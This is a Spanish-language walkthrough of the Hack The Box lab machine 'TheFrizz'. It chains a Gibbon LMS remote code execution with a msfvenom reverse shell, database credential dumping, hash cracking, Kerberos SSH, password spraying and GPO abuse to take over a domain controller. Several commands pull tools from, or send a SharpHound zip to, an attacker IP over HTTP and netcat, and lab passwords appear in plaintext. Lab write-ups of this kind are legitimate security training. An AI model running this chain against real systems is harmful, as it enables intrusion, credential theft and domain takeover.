TheFrizz


  • Escaneo inicial:


Entramos por la pรกgina web

Se econtro la version de Gibbon v25.0

Se encontrรณ esta pรกgina con un version de ( Gibbon )
  • Un CVE:

Tambien se encontro un RCE:

Lo ejecutamos:

python gibbonlms_cmd_shell.py http://frizzdc.frizz.htb/

Y nos pide un windows/x64/shell_reverse_tcp la cual la crearemos:

 msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.33 LPORT=1234 -f exe -o winrar.exe

Al ejecutar el exploit RCE nos pide un shell y ahi lo mandamos:

Siempre en la escucha:

Miramos los usuarios del dominio:

Tambien se logra ver un config.php:

MisterGibbs!Parrot!?1

Podemos ver el usuario y contraseรฑa de la base de datos.

  • Ahora para ejecutar la base de datos tenemos q buscar un mysql.exe:

dir /s /b C:\mysql.exe
+

Entramos al directorio y ejecutamos el .exe con el usuario y contraseรฑa:

.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "show databases;"
Database
gibbon
information_schema
test

Miramos la lista de tablas de gibbon:

.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW TABLES;" gibbon 

Consultamos el contenido de la tabla gibbonperson:

mysql -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonperson;" -E

Tenemos un hash:

067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03

Verificamos que tipo de hash es:

Un 256
  • En tu archivo hash.txt solo tienes el hash puro (sin salt ni el formato que John necesita para interpretar dinรกmicos).

  • El formato dynamic=sha256($s.$p) requiere que el hash estรฉ en formato dinรกmico, que incluye explรญcitamente la sal, para que John lo sepa.

$dynamic_82$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489
john --format=dynamic='sha256($s.$p)' --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Intentamos entrar por ssh:

Como el puerto WinRM no estรก abierto, usemos SSH con autenticaciรณn Kerberos.

ssh f.frizzle@frizzdc.frizz.htb
Intentรฉ iniciar sesiรณn con ssh, pero no me solicitaron que ingresara una contraseรฑa. Parece que el inicio de sesiรณn con contraseรฑa estรก deshabilitado. gssapi-with-mic significa autenticaciรณn Kerberos. Desde el nmap anterior, tambiรฉn podemos encontrar que el servicio kerberos estรก abierto. Deberรญa ser necesario iniciar sesiรณn con un ticket Kerberos.


Entremos por Kerberos (usado en entornos corporativos).


Kerberos SSH #

โœ… Paso 1: Configura Kerberos (krb5.conf)

Edita el archivo de configuraciรณn de Kerberos:

sudo nano /etc/krb5.conf

Pega la siguiente configuraciรณn:

[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true

[realms]
FRIZZ.HTB = {
 kdc = frizzdc.frizz.htb
 admin_server = frizzdc.frizz.htb
 default_domain = frizz.htb
}

[domain_realm]
.frizz.htb = FRIZZ.HTB
frizz.htb = FRIZZ.HTB

Guarda con CTRL+O y luego CTRL+X.


โœ… Paso 2: Configura el archivo de hosts (/etc/hosts)

Asocia el dominio con la IP del controlador de dominio:

sudo nano /etc/hosts

Agrega esta lรญnea:

10.10.11.60 frizzdc.frizz.htb frizz.htb

Guarda y cierra.


โœ… Paso 3: Obtener el TGT (Ticket Granting Ticket)

Ejecuta kinit con el usuario Kerberos:

kinit f.frizzle@FRIZZ.HTB

Te pedirรก la contraseรฑa:

Password for f.frizzle@FRIZZ.HTB:
Jenni_Luvs_Magic23

โœ… Paso 4: Verifica el ticket Kerberos

Verifica que el TGT fue obtenido correctamente:

klist

Salida esperada:

rubyCopiarEditarTicket cache: FILE:/tmp/krb5cc_1000
Default principal: f.frizzle@FRIZZ.HTB

Valid starting       Expires              Service principal
03/19/2025 18:18:19  03/20/2025 04:18:19  krbtgt/FRIZZ.HTB@FRIZZ.HTB

โœ… Paso 5: Conรฉctate vรญa SSH con Kerberos

Finalmente, conรฉctate al host remoto usando el ticket Kerberos:

ssh f.frizzle@frizz.htb -K

El -K indica que se use el ticket Kerberos obtenido previamente.



Escalada de privilegios:

  • Creamos nuestro directorio tmp:

Usaremos BloodHound y Neo4j:

Bien pasaremos los dos archvos a la maquina victima:

Desde Kali levantas un servidor HTTP:

python3 -m http.server 8000

Y en la vรญctima (Windows) descargas los ejecutables:

Invoke-WebRequest -Uri "http://10.10.14.109:8000/nc.exe" -OutFile "C:\tmp\nc.exe"
Invoke-WebRequest -Uri "http://10.10.14.109:8000/SharpHound.exe" -OutFile "C:\tmp\SharpHound.exe"

ยฟPor quรฉ esto?

  • SharpHound.exe: herramienta que recolecta info del dominio.

  • nc.exe: herramienta para enviar archivos desde la vรญctima hacia ti (reverse file transfer).

  • Ejecutamos el SharpHound

.\SharpHound.exe -c All --zipfilename frizzle

Pasaremos el .zip a nuestra maqina usando el nc.exe:

cmd /c "nc.exe 10.10.16.33 3333 < 20250601160521_frizzle.zip"
nc -nvlp 3333 > 2025.zip

Tenemos el .zip en nuestra mรกquina:

  • Descubrรญ que m.schoolbus tiene permisos relativamente altos, asรญ que intentรฉ ver si podรญa iniciar sesiรณn con el usuario m.schoolbus .

๐Ÿ—‘๏ธ 1. Acceder a la Papelera desde PowerShe

PS C:\Users\f.frizzle> $path = $item | Select-Object -ExpandProperty Path
PS C:\Users\f.frizzle> Copy-Item -Path $path -Destination out.7z

Desde la mรกquina host:

scp f.frizzle@frizz.htb:out.7z .
# Extract the archive
7z x out.7z

El waptserver.iniarchivo contiene una contraseรฑa base64. Podrรญamos usar esta contraseรฑa para rociar a los usuarios.

echo 'wapt_password' | base64 -d
CyberChef

Pulverizaciรณn de contraseรฑas #

Captura todos los usuarios.

GetADUsers.py -k -no-pass frizz.htb/ -dc-host frizzdc.frizz.htb -all | awk '{print $1}' | tail -n +6 > users.txt
> kerbrute passwordspray --dc frizzdc.frizz.htb -d frizz.htb users.txt '<PASS>'

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 03/24/25 - Ronnie Flathers @ropnop

2025/03/24 03:26:43 >  Using KDC(s):
2025/03/24 03:26:43 >   frizzdc.frizz.htb:88

2025/03/24 03:26:43 >  [+] VALID LOGIN:  M.SchoolBus@frizz.htb:<PASS>

La contraseรฑa es vรกlida para M.SchoolBusel usuario. Segรบn la informaciรณn anterior sobre Remote Management Usersla pertenencia al grupo, este usuario es miembro de dicho grupo. Obtenga un ticket e inicie sesiรณn mediante SSH con autenticaciรณn Kerberos.


Group Policy Creator Owners #


Este usuario pertenece al Group Policy Creator Ownersgrupo que puede crear GPO y modificarlos.

Resultado clave:

En la lista de grupos a los que pertenece M.SchoolBus aparece el grupo:

frizz\Group Policy Creator Owners

Este grupo tiene permisos para crear y modificar Objetos de Polรญtica de Grupo (GPO) en el dominio.

PS C:\Users\M.SchoolBus> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                   Type             SID                                            Attributes

============================================ ================ ============================================== ===============================================================
Everyone                                     Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group

BUILTIN\Remote Management Users              Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group

BUILTIN\Users                                Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group

BUILTIN\Pre-Windows 2000 Compatible Access   Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\NETWORK                         Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\Authenticated Users             Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\This Organization               Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group

frizz\Desktop Admins                         Group            S-1-5-21-2386970044-1145388522-2932701813-1121 Mandatory group, Enabled by default, Enabled group

frizz\Group Policy Creator Owners            Group            S-1-5-21-2386970044-1145388522-2932701813-520  Mandatory group, Enabled by default, Enabled group

Authentication authority asserted identity   Well-known group S-1-18-1                                       Mandatory group, Enabled by default, Enabled group

frizz\Denied RODC Password Replication Group Alias            S-1-5-21-2386970044-1145388522-2932701813-572  Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\Medium Mandatory Level       Label            S-1-16-8192

Abuso de GPO #

Podrรญamos crear una GPO New-GPOy vincularla mediante New-GPLinkcomandos. La unidad organizativa de destino es la Domain Controllersunidad organizativa.

PS C:\Users\M.SchoolBus> Get-ADDomainController -Filter * | Select-Object ComputerObjectDN

ComputerObjectDN
----------------
CN=FRIZZDC,OU=Domain Controllers,DC=frizz,DC=htb

La OU de destino es OU=Domain Controllers,DC=frizz,DC=htb.

PS C:\Users\M.SchoolBus> New-GPO -Name jergal | New-GPLink -Target "OU=Domain Controllers,DC=frizz,DC=htb"

GpoId       : d9036dd1-24b4-4a7d-be90-d704a8967a85
DisplayName : jergal
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2

Pasamos el SharpGPOAbuse

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "M.SchoolBus" --GPOName "MyGPO" --Force
Esto nos agrega al grupo de administradores

Pero aun no tenemos permisos completos:

Descargaremos el RunasCs en el Windows:

powershell.exe -Command "Invoke-WebRequest -Uri http://10.10.16.33:8000/RunasCs.exe -OutFile RunasCs.exe"
  • Una vez pasado al windows lo ejecutamos teniendo el listener en escucha:


Last updated